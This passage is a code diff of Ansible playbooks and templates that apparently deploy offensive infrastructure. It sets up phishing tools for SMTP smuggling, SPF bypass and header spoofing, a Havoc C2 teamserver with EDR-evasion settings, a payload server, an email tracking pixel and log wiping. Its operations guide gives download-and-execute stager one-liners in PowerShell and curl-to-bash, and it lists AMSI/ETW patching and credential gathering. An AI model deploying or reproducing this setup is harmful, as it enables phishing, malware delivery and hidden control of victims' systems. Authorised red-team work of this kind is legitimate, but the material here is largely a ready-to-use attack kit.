src: "../templates/smtp-smuggling.py.j2"
|
||||
dest: "/root/Tools/phishing/smtp-smuggling.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_smtp_smuggling | default(false) | bool
|
||||
|
||||
- name: Configure SPF bypass techniques
|
||||
template:
|
||||
src: "../templates/spf-bypass.sh.j2"
|
||||
dest: "/root/Tools/phishing/spf-bypass.sh"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_spf_bypass | default(false) | bool
|
||||
|
||||
- name: Create domain aging simulation
|
||||
template:
|
||||
src: "../templates/domain-aging.py.j2"
|
||||
dest: "/root/Tools/phishing/domain-aging.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: aged_domain_mode | default(false) | bool
|
||||
|
||||
- name: Set up MTA fronting configuration
|
||||
template:
|
||||
src: "../templates/mta-fronting.conf.j2"
|
||||
dest: "/etc/postfix/mta_fronting.cf"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_mta_fronting | default(false) | bool
|
||||
notify: restart postfix
|
||||
|
||||
- name: Create file format manipulation tools
|
||||
copy:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
# Note: These files need to be created or paths need to be verified
|
||||
# - { src: "../files/pdf-weaponizer.py", dest: "/root/Tools/phishing/pdf-weaponizer.py" }
|
||||
# - { src: "../files/office-macro-generator.py", dest: "/root/Tools/phishing/office-macro-generator.py" }
|
||||
# - { src: "../files/lnk-generator.py", dest: "/root/Tools/phishing/lnk-generator.py" }
|
||||
[]
|
||||
|
||||
- name: Create Living off the Land (LOtL) payload templates
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- { src: "../templates/lotl-powershell.ps1.j2", dest: "/root/Tools/phishing/templates/lotl-powershell.ps1" }
|
||||
- { src: "../templates/lotl-wmic.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-wmic.cmd" }
|
||||
- { src: "../templates/lotl-bitsadmin.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-bitsadmin.cmd" }
|
||||
|
||||
- name: Set up CDN abuse configuration
|
||||
template:
|
||||
src: "../templates/cdn-abuse.py.j2"
|
||||
dest: "/root/Tools/phishing/cdn-abuse.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_cdn_abuse | default(false) | bool
|
||||
|
||||
- name: Create domain reputation monitoring
|
||||
template:
|
||||
src: "../templates/reputation-monitor.py.j2"
|
||||
dest: "/root/Tools/phishing/reputation-monitor.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Set up cron job for reputation monitoring
|
||||
cron:
|
||||
name: "Domain reputation monitoring"
|
||||
minute: "0"
|
||||
hour: "*/4"
|
||||
job: "/root/Tools/phishing/reputation-monitor.py >> /root/Tools/phishing/logs/reputation.log 2>&1"
|
||||
|
||||
- name: Create email header spoofing tools
|
||||
template:
|
||||
src: "../templates/header-spoofing.py.j2"
|
||||
dest: "/root/Tools/phishing/header-spoofing.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure Tor for anonymization
|
||||
template:
|
||||
src: "../templates/torrc-phishing.j2"
|
||||
dest: "/etc/tor/torrc"
|
||||
backup: yes
|
||||
notify: restart tor
|
||||
when: enable_tor_routing | default(false) | bool
|
||||
|
||||
- name: Create user-agent rotation script
|
||||
template:
|
||||
src: "../templates/user-agent-rotation.py.j2"
|
||||
dest: "/root/Tools/phishing/user-agent-rotation.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Set up automated evasion techniques
|
||||
template:
|
||||
src: "../templates/automated-evasion.py.j2"
|
||||
dest: "/root/Tools/phishing/automated-evasion.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_automated_evasion | default(false) | bool
|
||||
@@ -0,0 +1,344 @@
|
||||
---
|
||||
# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
|
||||
# Shared across all providers
|
||||
|
||||
- name: Update apt cache
|
||||
apt:
|
||||
update_cache: yes
|
||||
|
||||
- name: Disable default Kali MOTD
|
||||
file:
|
||||
path: "{{ ansible_env.HOME }}/.hushlogin"
|
||||
state: touch
|
||||
mode: '0644'
|
||||
when: ansible_distribution == "Kali GNU/Linux"
|
||||
|
||||
- name: Set a custom MOTD
|
||||
template:
|
||||
src: "../../common/templates/motd.j2"
|
||||
dest: /etc/motd
|
||||
owner: root
|
||||
group: root
|
||||
mode: '0644'
|
||||
|
||||
- name: Install base utilities and tools via apt
|
||||
apt:
|
||||
name:
|
||||
- git
|
||||
- wget
|
||||
- curl
|
||||
- unzip
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- tmux
|
||||
- pipx
|
||||
- nmap
|
||||
- tcpdump
|
||||
- hydra
|
||||
- john
|
||||
- hashcat
|
||||
- sqlmap
|
||||
- gobuster
|
||||
- dirb
|
||||
- enum4linux
|
||||
- dnsenum
|
||||
- seclists
|
||||
- responder
|
||||
- golang
|
||||
- proxychains
|
||||
- tor
|
||||
- crackmapexec
|
||||
- jq
|
||||
- build-essential
|
||||
- zip
|
||||
- unzip
|
||||
- postfix
|
||||
- net-tools
|
||||
- certbot
|
||||
- opendkim
|
||||
- opendkim-tools
|
||||
- dovecot-core
|
||||
- dovecot-imapd
|
||||
- dovecot-pop3d
|
||||
- dovecot-sieve
|
||||
- dovecot-managesieved
|
||||
- yq
|
||||
- build-essential
|
||||
# Additional Havoc C2 dependencies
|
||||
- mingw-w64
|
||||
- nasm
|
||||
- cmake
|
||||
- ninja-build
|
||||
- libfontconfig1
|
||||
- libglu1-mesa-dev
|
||||
- libgtest-dev
|
||||
- libspdlog-dev
|
||||
- libboost-all-dev
|
||||
- libncurses5-dev
|
||||
- libgdbm-dev
|
||||
- libssl-dev
|
||||
- libreadline-dev
|
||||
- libffi-dev
|
||||
- libsqlite3-dev
|
||||
- libbz2-dev
|
||||
- mesa-common-dev
|
||||
- qtbase5-dev
|
||||
- qtchooser
|
||||
- qt5-qmake
|
||||
- qtbase5-dev-tools
|
||||
- libqt5websockets5
|
||||
- libqt5websockets5-dev
|
||||
state: present
|
||||
|
||||
- name: Create directories for operational scripts
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /root/Tools
|
||||
- /root/Tools/beacons
|
||||
- /root/Tools/payloads
|
||||
|
||||
- name: Copy operational scripts
|
||||
copy:
|
||||
src: "{{ item }}"
|
||||
dest: "/root/Tools/{{ item | basename }}"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- "../../../common/files/clean-logs.sh"
|
||||
- "../../../common/files/secure-exit.sh"
|
||||
- "../files/havoc_installer.sh"
|
||||
- "../files/havoc_shell_handler.sh"
|
||||
- "../files/secure_payload_sync.sh"
|
||||
|
||||
- name: Copy post-install script
|
||||
copy:
|
||||
src: "../../../common/files/post_install_c2.sh"
|
||||
dest: "/root/Tools/post_install_c2.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy port randomization script
|
||||
copy:
|
||||
src: "../../../common/files/randomize_ports.sh"
|
||||
dest: "/root/Tools/randomize_ports.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create post-install instructions
|
||||
template:
|
||||
src: "../../common/templates/POST_INSTALL_INSTRUCTIONS.txt.j2"
|
||||
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Set up systemd timer for payload sync
|
||||
shell: |
|
||||
cat > /etc/systemd/system/payload-sync.service << 'EOF'
|
||||
[Unit]
|
||||
Description=Secure Payload Sync Service
|
||||
After=network-online.target
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/root/Tools/secure_payload_sync.sh
|
||||
User=root
|
||||
Group=root
|
||||
PrivateTmp=true
|
||||
StandardOutput=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
cat > /etc/systemd/system/payload-sync.timer << 'EOF'
|
||||
[Unit]
|
||||
Description=Secure Payload Sync Timer
|
||||
Requires=payload-sync.service
|
||||
|
||||
[Timer]
|
||||
OnBootSec=5min
|
||||
OnUnitActiveSec=30m
|
||||
RandomizedDelaySec=30m
|
||||
Persistent=true
|
||||
|
||||
[Install]
|
||||
WantedBy=timers.target
|
||||
EOF
|
||||
|
||||
systemctl daemon-reload
|
||||
systemctl enable payload-sync.timer
|
||||
systemctl start payload-sync.timer
|
||||
|
||||
- name: Install Havoc C2 Framework
|
||||
shell: "/root/Tools/havoc_installer.sh"
|
||||
args:
|
||||
creates: "/root/Tools/Havoc"
|
||||
async: 1800 # Allow 30 minutes for completion
|
||||
poll: 0 # Don't wait for completion
|
||||
register: havoc_installation_job
|
||||
|
||||
- name: Wait for Havoc installation to complete
|
||||
async_status:
|
||||
jid: "{{ havoc_installation_job.ansible_job_id }}"
|
||||
register: job_result
|
||||
until: job_result.finished
|
||||
retries: 60 # Check every 30 seconds for up to 30 minutes
|
||||
delay: 30
|
||||
when: havoc_installation_job is defined
|
||||
|
||||
- name: Display Havoc installation output
|
||||
debug:
|
||||
var: havoc_installation_result.stdout_lines
|
||||
when: havoc_installation_result.stdout_lines is defined
|
||||
|
||||
- name: Create Havoc payload generation script
|
||||
template:
|
||||
src: "../templates/generate_havoc_payloads.sh.j2"
|
||||
dest: "/root/Tools/generate_havoc_payloads.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create Havoc C2 configuration from template
|
||||
template:
|
||||
src: "../templates/havoc-config.yaotl.j2"
|
||||
dest: "/root/Tools/Havoc/data/havoc.yaotl"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create Linux loader script template
|
||||
template:
|
||||
src: "../../common/templates/linux_loader.sh.j2"
|
||||
dest: "/root/Tools/linux_loader.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create Windows PowerShell loader template
|
||||
template:
|
||||
src: "../../common/templates/windows_loader.ps1.j2"
|
||||
dest: "/root/Tools/windows_loader.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create beacon server script from template
|
||||
template:
|
||||
src: "../templates/serve-havoc-payloads.sh.j2"
|
||||
dest: "/root/Tools/serve-havoc-payloads.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
|
||||
domain: "{{ domain }}"
|
||||
redirector_port: "{{ redirector_port | default('443') }}"
|
||||
|
||||
- name: Run port randomization if enabled
|
||||
include_tasks: port_randomization.yml
|
||||
when: randomize_ports | default(false) | bool
|
||||
|
||||
- name: Generate Havoc payloads
|
||||
shell: "/root/Tools/generate_havoc_payloads.sh"
|
||||
args:
|
||||
creates: "/root/Tools/Havoc/payloads/manifest.json"
|
||||
register: payload_generation_result
|
||||
environment:
|
||||
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Display payload generation output
|
||||
debug:
|
||||
var: payload_generation_result.stdout_lines
|
||||
when: payload_generation_result.stdout_lines is defined
|
||||
|
||||
- name: Start payload server
|
||||
shell: |
|
||||
nohup /root/Tools/serve-havoc-payloads.sh > /dev/null 2>&1 &
|
||||
args:
|
||||
executable: /bin/bash
|
||||
register: beacon_server_result
|
||||
|
||||
- name: Create NGINX configuration fragment for redirector
|
||||
template:
|
||||
src: "../../redirectors/templates/redirector-havoc-fragment.j2"
|
||||
dest: "/root/Tools/redirector-config.conf"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
c2_ip: "{{ ansible_host }}"
|
||||
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||
|
||||
- name: Create Havoc usage guide
|
||||
template:
|
||||
src: "../templates/havoc-guide.j2"
|
||||
dest: "/root/havoc-guide.txt"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
c2_ip: "{{ ansible_host }}"
|
||||
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||
|
||||
- name: Include traffic flow configuration
|
||||
include_tasks: "../../common/tasks/traffic_flow_config.yml"
|
||||
|
||||
- name: Set up cron job for log cleaning if zero-logs enabled
|
||||
cron:
|
||||
name: "Clean logs"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs is defined and zero_logs | bool
|
||||
|
||||
- name: Ensure SSH key for redirector access is available
|
||||
block:
|
||||
- name: Copy deployment SSH key to C2 for redirector access (AWS)
|
||||
copy:
|
||||
src: "~/.ssh/c2deploy_{{ deployment_id }}.pem"
|
||||
dest: "/root/.ssh/redirector_key"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
when: provider == "aws"
|
||||
|
||||
- name: Copy deployment SSH key to C2 for redirector access (non-AWS)
|
||||
copy:
|
||||
src: "{{ ssh_key_path | replace('.pub', '') }}"
|
||||
dest: "/root/.ssh/redirector_key"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
when: provider != "aws"
|
||||
|
||||
- name: Create SSH config for redirector access
|
||||
blockinfile:
|
||||
path: /root/.ssh/config
|
||||
create: yes
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
marker: "# {mark} ANSIBLE MANAGED REDIRECTOR CONFIG"
|
||||
block: |
|
||||
Host redirector
|
||||
HostName {{ redirector_ip }}
|
||||
User {{ ssh_user | default('root') }}
|
||||
IdentityFile /root/.ssh/redirector_key
|
||||
StrictHostKeyChecking no
|
||||
when: not redirector_only | bool and redirector_ip is defined
|
||||
|
||||
# Include integrated tracker tasks if requested
|
||||
- name: Include integrated tracker setup
|
||||
include_tasks: "configure_integrated_tracker.yml"
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
@@ -0,0 +1,150 @@
|
||||
---
|
||||
# Common task for configuring integrated email tracker on C2 server
|
||||
|
||||
- name: Check if integrated tracker setup is requested
|
||||
debug:
|
||||
msg: "Setting up integrated email tracker on C2 server"
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Install required packages for tracker
|
||||
apt:
|
||||
name:
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- python3-pillow
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- jq
|
||||
state: present
|
||||
update_cache: yes
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create tracker directory
|
||||
file:
|
||||
path: /root/Tools/tracker
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create tracker data directory
|
||||
file:
|
||||
path: /root/Tools/tracker/data
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create tracker system user
|
||||
user:
|
||||
name: tracker
|
||||
system: yes
|
||||
shell: /usr/sbin/nologin
|
||||
home: /root/Tools/tracker
|
||||
create_home: no
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create Python virtual environment for tracker
|
||||
pip:
|
||||
virtualenv: /root/Tools/tracker/venv
|
||||
name:
|
||||
- flask
|
||||
- pillow
|
||||
- gunicorn
|
||||
virtualenv_command: /usr/bin/python3 -m venv
|
||||
environment:
|
||||
PATH: "/usr/local/bin:/usr/bin:/bin"
|
||||
vars:
|
||||
ansible_python_interpreter: /usr/bin/python3
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Copy tracker application code
|
||||
copy:
|
||||
src: "../../tracker/files/simple_email_tracker.py"
|
||||
dest: /root/Tools/tracker/simple_email_tracker.py
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Copy tracker statistics CLI tool
|
||||
copy:
|
||||
src: "../../tracker/files/tracker-stats.sh"
|
||||
dest: /root/Tools/tracker/tracker-stats.sh
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Copy systemd service file for tracker
|
||||
copy:
|
||||
src: "../../tracker/files/tracker.service"
|
||||
dest: /etc/systemd/system/tracker.service
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Set correct permissions for tracker directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
owner: tracker
|
||||
group: tracker
|
||||
recurse: yes
|
||||
loop:
|
||||
- /root/Tools/tracker
|
||||
- /root/Tools/tracker/data
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create NGINX site config for tracker
|
||||
template:
|
||||
src: "../../tracker/files/tracker-nginx.conf"
|
||||
dest: /etc/nginx/sites-available/tracker
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
tracker_domain: "{{ tracker_domain | default('track.' + domain) }}"
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Enable tracker NGINX site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/tracker
|
||||
dest: /etc/nginx/sites-enabled/tracker
|
||||
state: link
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Configure redirector to proxy tracking requests
|
||||
lineinfile:
|
||||
path: /etc/nginx/sites-available/default
|
||||
insertafter: "^\\s*location / {"
|
||||
line: " # Email tracker proxy path\n location /px/(.*)\\.png$ {\n proxy_pass http://{{ c2_ip }}:443/pixel/$1.png;\n proxy_set_header Host {{ tracker_domain }};\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-Proto https;\n }"
|
||||
delegate_to: "{{ groups['redirectors'][0] }}"
|
||||
when: setup_integrated_tracker | default(false) | bool and groups['redirectors'] is defined
|
||||
|
||||
- name: Set up SSL if requested
|
||||
shell: |
|
||||
certbot --nginx -d {{ tracker_domain }} --non-interactive --agree-tos -m {{ tracker_email }}
|
||||
args:
|
||||
creates: /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem
|
||||
when: setup_integrated_tracker | default(false) | bool and tracker_setup_ssl | default(true) | bool
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Start and enable tracker service
|
||||
systemd:
|
||||
name: tracker
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Add tracker alias to bashrc for easy access
|
||||
lineinfile:
|
||||
path: /root/.bashrc
|
||||
line: 'alias tracker="/root/Tools/tracker/tracker-stats.sh"'
|
||||
state: present
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
@@ -0,0 +1,10 @@
|
||||
{# OMITTED — evasive beacon generation template #}
|
||||
{#
|
||||
Jinja2 template rendered at deploy time. Produces a shell script that compiles
|
||||
Havoc Demon shellcode with per-engagement randomized identifiers, wraps the
|
||||
shellcode in a chosen injection template (process hollowing, APC injection,
|
||||
early-bird), and stages the result to the payload server.
|
||||
|
||||
Omitted from public release. Present in operational deployments.
|
||||
#}
|
||||
echo "[!] Evasive beacon generator not included in public release."
|
||||
@@ -0,0 +1,9 @@
|
||||
{# OMITTED — Havoc payload generation template #}
|
||||
{#
|
||||
Renders a script that produces EXE, DLL, and raw shellcode variants from a
|
||||
compiled Demon implant. Handles signing stubs, UPX packing decisions, and
|
||||
drops artifacts to the payload server staging directory.
|
||||
|
||||
Omitted from public release. Present in operational deployments.
|
||||
#}
|
||||
echo "[!] Havoc payload generator not included in public release."
|
||||
@@ -0,0 +1,79 @@
|
||||
Teamserver {
|
||||
Host = "0.0.0.0"
|
||||
Port = {{ havoc_teamserver_port | default(40056) }}
|
||||
|
||||
Build {
|
||||
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||
Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||
Nasm = "/usr/bin/nasm"
|
||||
}
|
||||
}
|
||||
|
||||
Operators {
|
||||
user "{{ havoc_admin_user | default('admin') }}" {
|
||||
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
|
||||
}
|
||||
{% if havoc_operators is defined %}
|
||||
{% for operator in havoc_operators %}
|
||||
user "{{ operator.name }}" {
|
||||
Password = "{{ operator.password }}"
|
||||
}
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
}
|
||||
|
||||
Listeners {
|
||||
Http {
|
||||
Name = "https"
|
||||
Hosts = [
|
||||
"{{ redirector_subdomain }}.{{ domain }}"
|
||||
]
|
||||
HostBind = "0.0.0.0"
|
||||
HostRotation = "round-robin"
|
||||
PortBind = {{ havoc_https_port | default(9443) }}
|
||||
PortConn = {{ havoc_https_port | default(9443) }}
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
||||
Headers = [
|
||||
"Accept: */*",
|
||||
"Accept-Language: en-US,en;q=0.9"
|
||||
]
|
||||
Uris = [
|
||||
"/api/v2",
|
||||
"/content",
|
||||
"/static/css",
|
||||
"/wp-content/plugins"
|
||||
]
|
||||
Response {
|
||||
Headers = [
|
||||
"Content-Type: application/json",
|
||||
"Cache-Control: no-store, private",
|
||||
"X-Content-Type-Options: nosniff"
|
||||
]
|
||||
}
|
||||
Secure = true
|
||||
|
||||
Cert {
|
||||
Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
|
||||
Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Demon {
|
||||
Sleep = {{ havoc_sleep | default(5) }}
|
||||
Jitter = {{ havoc_jitter | default(30) }}
|
||||
|
||||
Injection {
|
||||
{% if havoc_spawn64 is defined %}
|
||||
Spawn64 = "{{ havoc_spawn64 }}"
|
||||
{% else %}
|
||||
Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
|
||||
{% endif %}
|
||||
|
||||
{% if havoc_spawn32 is defined %}
|
||||
Spawn32 = "{{ havoc_spawn32 }}"
|
||||
{% else %}
|
||||
Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
|
||||
{% endif %}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
HAVOC C2 OPERATIONS GUIDE
|
||||
==========================
|
||||
|
||||
This guide provides information on using the Havoc C2 framework (dev branch)
|
||||
deployed on your infrastructure.
|
||||
|
||||
SERVER INFORMATION
|
||||
-----------------
|
||||
C2 Server IP: {{ c2_ip }}
|
||||
Redirector Domain: {{ redirector_domain }}
|
||||
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
|
||||
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
|
||||
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
|
||||
Admin User: {{ havoc_admin_user | default('admin') }}
|
||||
Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
|
||||
|
||||
CONNECTING TO THE TEAMSERVER
|
||||
---------------------------
|
||||
From your local machine:
|
||||
|
||||
1. Make sure Havoc client (dev branch) is installed:
|
||||
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
|
||||
$ cd Havoc/Client
|
||||
$ mkdir build && cd build
|
||||
$ cmake -GNinja ..
|
||||
$ ninja
|
||||
|
||||
2. Connect to the Teamserver via GUI:
|
||||
- Host: {{ c2_ip }}
|
||||
- Port: {{ havoc_teamserver_port | default(40056) }}
|
||||
- User: {{ havoc_admin_user | default('admin') }}
|
||||
- Password: See /root/Tools/Havoc/data/profiles/default.yaotl
|
||||
|
||||
3. CLI Connection:
|
||||
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
|
||||
|
||||
LISTENERS
|
||||
--------
|
||||
Two default listeners are configured:
|
||||
- HTTP on port {{ havoc_http_port | default(8080) }}
|
||||
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
|
||||
|
||||
To view and manage listeners: Attack → Listeners in the Havoc client.
|
||||
|
||||
GENERATING PAYLOADS
|
||||
-----------------
|
||||
Pre-generated payloads are available in /root/Tools/Havoc/payloads/
|
||||
|
||||
To generate new payloads:
|
||||
1. Connect to the Teamserver
|
||||
2. Navigate to Attack → Payload
|
||||
3. Select the listener (HTTPS recommended)
|
||||
4. Choose architecture, format, and evasion options
|
||||
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
|
||||
|
||||
PAYLOAD DELIVERY
|
||||
--------------
|
||||
PowerShell one-liner:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
|
||||
|
||||
Linux one-liner:
|
||||
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
|
||||
|
||||
OPERATIONAL SECURITY
|
||||
------------------
|
||||
- All connections are routed through the redirector
|
||||
- Payload customization includes:
|
||||
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
|
||||
* EDR unhooking techniques
|
||||
* AMSI/ETW patching
|
||||
* Indirect syscalls
|
||||
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
|
||||
|
||||
ADVANCED FEATURES (DEV BRANCH)
|
||||
----------------------------
|
||||
- Enhanced memory scanner evasion
|
||||
- PPID spoofing capabilities
|
||||
- Reflective DLL loading improvements
|
||||
- EDR hook detection and avoidance
|
||||
- Process token manipulation
|
||||
- Registry persistence options
|
||||
|
||||
POST-EXPLOITATION
|
||||
---------------
|
||||
For post-exploitation, Havoc offers:
|
||||
|
||||
1. BOF (Beacon Object Files) support
|
||||
2. Integrated command & control modules
|
||||
3. File system operations
|
||||
4. Process injection & manipulation
|
||||
5. Credential gathering capabilities
|
||||
|
||||
SERVER MANAGEMENT
|
||||
---------------
|
||||
- Havoc Teamserver service: systemctl status havoc
|
||||
- Service configuration: /etc/systemd/system/havoc.service
|
||||
- Configuration profiles: /root/Tools/Havoc/data/profiles/
|
||||
|
||||
TROUBLESHOOTING
|
||||
--------------
|
||||
1. Agent connection issues:
|
||||
- Verify DNS for {{ redirector_domain }} points to your redirector
|
||||
- Check nginx configuration on the redirector
|
||||
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
|
||||
|
||||
2. Teamserver issues:
|
||||
- Check service: systemctl status havoc
|
||||
- View logs: journalctl -u havoc
|
||||
- Restart if needed: systemctl restart havoc
|
||||
|
||||
3. Use Havoc client CLI debugging:
|
||||
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
|
||||
@@ -0,0 +1,135 @@
|
||||
#!/bin/bash
|
||||
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
|
||||
|
||||
# Configuration
|
||||
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
# Use templated variable with fallback - allow override from config
|
||||
LISTEN_PORT="{{ havoc_payload_port | default(8443) }}"
|
||||
|
||||
# Check if manifest file exists (created by generate_havoc_payloads.sh)
|
||||
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
|
||||
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
|
||||
# Extract payload paths from manifest
|
||||
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
|
||||
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
|
||||
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
|
||||
|
||||
# Print payload info
|
||||
echo "[+] Using these Havoc payloads:"
|
||||
echo " - Windows EXE: $WIN_EXE"
|
||||
echo " - Windows DLL: $WIN_DLL"
|
||||
echo " - Linux Binary: $LINUX_BIN"
|
||||
else
|
||||
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
|
||||
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
|
||||
|
||||
# Try to find payloads directly
|
||||
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
|
||||
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
|
||||
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
|
||||
|
||||
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
|
||||
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Extract just the filenames
|
||||
